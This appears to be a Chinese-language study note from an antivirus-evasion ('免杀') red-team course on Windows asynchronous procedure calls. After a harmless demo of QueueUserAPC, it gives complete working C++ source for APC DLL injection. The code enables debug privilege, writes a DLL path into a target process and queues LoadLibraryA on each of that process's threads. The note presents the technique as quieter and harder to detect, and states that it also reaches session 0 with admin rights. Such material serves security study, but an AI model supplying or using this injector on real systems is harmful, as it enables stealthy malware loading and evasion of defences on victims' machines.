又是跟着红队蓝军师傅学免杀的一天,这节课介绍了APC机制和APC注入的实现。
APC介绍:
APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在 操作系统中,APC是一种并发机制。
往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数, APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。
当用户模式 APC 排队时,它排队的线程不会被定向到调用 APC 函数,除非它处于可警告状态。线 程在调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、 WaitForMultipleObjectsEx或WaitForSingleObjectEx函数时进入可警告状态。如果在 APC 排队之 前等待满足,则线程不再处于可警告等待状态,因此不会执行 APC 函数。但是,APC 仍在排队, 因此当线程调用另一个可警告的等待函数时,APC 函数将被执行。
主要函数:QueueUserAPC
QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函 数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含 THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果 QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。
函数结构
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);
APC的本质
线程是不能被杀掉、挂起、恢复的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢? 举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU。所以说线 程如果想死,一定是自己执行代码把自己杀死,不存在他杀这种情况。那如果想改变一个线程的行为该 怎么办呢?可以给他提供一个函数,让它自己去调用,这个函数就是APC(Asyncroneus Procedure Call),即异步过程调用。
简单实现
简单实现APC队列的插入,在3环调用 QueueUserAPC(在0环和在3环调用是有些区别的,实际的函数实现是在0环所以如果在3环调用实际是从0环到3环来找APC队列中APC加载,而如果在0环就不用这么麻烦。)
// APCtest1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <Windows.h>
DWORD WINAPI MyThread(LPVOID)
{
int i = 0;
while (true)
{
SleepEx(300, TRUE); //这里就启用了APC
printf("%d\n", i++);
}
}
void __stdcall MyApcFunction(LPVOID) //等待回调的函数
{
printf("Run APCFuntion\n");
printf("APCFunction done\n");
}
int main(int argc, char* argv[])
{
HANDLE hThread = CreateThread(0, 0, MyThread, 0, 0, 0);//创建一个线程
Sleep(1000);//等待前面的子线程被创建后再插入APC队列
if (!QueueUserAPC((PAPCFUNC)MyApcFunction, hThread, NULL))//QueueUserAPC返回值是0、1.回调了MyApcFunction
{
printf("QueueUserAPC error : %d\n", GetLastError());
}
getchar(); //一个用来接受键盘输入的函数,在这里是为了卡着保持主线程一直在运行,只有主线程在运行子线程才能运行
return 0;
}
运行的结果
看着其实就和在主函数中调用了一次回调函数一样,但是实际上回调函数是由创建的子线程调用的不是主线程。(说调用可能也不准确,切换为APC来执行APC队列的内容)
APC注入实现
在 Windows系统中,每个线程都会维护一个线程 APC队列,通过 QucueUserAPC 把一个APC 函数添加到 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在 可警告状态时才会执行这些APC 函数。一个线程在内部使用 SignalObjectAndWait 、 SleepEx 、 WaitForSingleObjectEx 、 WaitForMultipleObjectsEx 等函数把自己挂起时就是进入可警告状态, 此时便会执行APC队列函数
步骤
1.当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断 (或者是Messagebox弹窗的时候不点OK的时候也能注入)
2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数
3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插 入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的
每一个进程的每一个线程都有自己的APC队列,我们可以使用QueueUserAPC函数把一个APC函数压入 APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而 是要等到线程处于可通知状态(alertable)才会执行,即只有当一个线程内部调用 SleepEx 等上面说到的 几个特定函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出 (FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般 不存在挂起状态,所以APC注入对于这类程序没有明显效果
其实就是一种骚姿势进行的DLL注入,而且动静比之前的小,又已经在运行的线程来回调插入到APC队列中的恶意DLL。
流程
1. OpenProcess 打开进程
2. VirtualAlloc 申请空间
3. WriteProcessMemory 写入dll信息
4.根据进程对应的线程id打开线程
5.使用 QueueUserApc 插入执行
此处代码编码方式使用ASCII码
其中的关键代码为遍历线程快照并且对每个属于指定PID的进程的线程进行APC插入。
完整代码:
#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>
// 提权函数
BOOL EnableDebugPrivilege()
{
HANDLE hToken; //用于存储当前进程的访问令牌句柄。
BOOL fok = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))//打开当前进程的访问令牌,允许调整权限。
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1; //设置为 1,表示我们只要调整一个权限。
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);//SE_DEBUG_NAME 是一个定义在 Windows 头文件中的常量,其值为 "SeDebugPrivilege"。获取“调试程序”权限的 LUID,并将该 LUID 存储在 tp.Privileges[0].Luid 中。
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启用该调试权限。
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);//调整访问令牌的权限。
fok = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fok;
}
BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {
EnableDebugPrivilege();
//打开进程,获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("OpenProcess error!\n", GetLastError());
return FALSE;
}
//向目标进程申请空间写入dll全路径
int nSize = strlen(pszDllName);
LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,
PAGE_READWRITE);
if (pDllAddr == NULL)
{
printf("VirtualAllocEx error!:%d\n", GetLastError());
return FALSE;
}
SIZE_T dwWrittenSize = 0;
BOOL Write=WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
if (Write == 0)
{
printf("WriteProcessMemory error!:%d\n", GetLastError());
return FALSE;
}
//获取LoadLibraryA的地址
HMODULE hMod = GetModuleHandleA("kernel32.dll");
FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");//拿到LoadLibraryA后面用来注入DLL用。
//以上步骤和之前的注入流程基本一致,只有下面这里的注入方式使用了APC队列的方式进行的
//创建线程快照
THREADENTRY32 te = { 0 };//声明了一个 THREADENTRY32 结构体变量 te 并初始化为 0。用来存储线程的相关信息
te.dwSize = sizeof(te);//设置 THREADENTRY32 结构体的大小
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);//创建一个线程快照,TH32CS_SNAPTHREAD 指定了快照类型为线程快照。
if (hSnap == INVALID_HANDLE_VALUE) {
printf("CreateToolhelp32Snapshot error!:%d\n", GetLastError());
return FALSE;
}
DWORD dwRet = 0;
HANDLE hThread = NULL;
if (Thread32First(hSnap, &te)) {//使用 Thread32First 函数获取快照中的第一个线程信息。
do {
if (te.th32OwnerProcessID == dwPid) { //检查当前线程是否属于目标进程 ID (dwPid)。
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID); //如果线程属于目标进程,则打开该线程的句柄,以便可以向它排队 APC
if (hThread) {
dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,
(ULONG_PTR)pDllAddr); //如果成功获取了线程句柄,使用 QueueUserAPC 函数向该线程排队一个 APC。也就是在这一步进行DLL注入。
//参数解读
// (PAPCFUNC)pFuncAddr:这是一个指向函数的指针,该函数是将要执行的 APC 函数。PAPCFUNC 是一个函数指针类型,指向的函数必须符合特定的签名,即没有返回值,并且接受一个 ULONG_PTR 类型的参数。
//hThread:这是一个线程句柄,标识了将要接收 APC 的线程。
//(ULONG_PTR)pDllAddr:这是传递给 APC 函数的参数。即指向保存在进程内存中dll内容
hThread = NULL;
}
}
} while (Thread32Next(hSnap, &te)); //使用 Thread32Next 函数遍历快照中的所有线程
}
//这里是对指定进程中出现的所有线程都进行APC插入,每个线程都有自己的APC队列不是共用的。所以应该一个进程中可能注入了多个线程。
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSnap);
return TRUE;
}
int main(int argc, char* argv[])
{
if (argc == 3)
{
if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2]))
printf("APCInject failed\n");
else
printf("APCInject successfully\n");
}
else
{
printf("\n");
printf("Usage: %s PID <DllPath>\n", argv[0]);
printf("Example: %s 520 C:\\test.dll\n", argv[0]);
exit(1);
}
return 0;
}
注入验证:
同样这种方法也可以注入session 0 不过同样需要使用管理员的权限去运行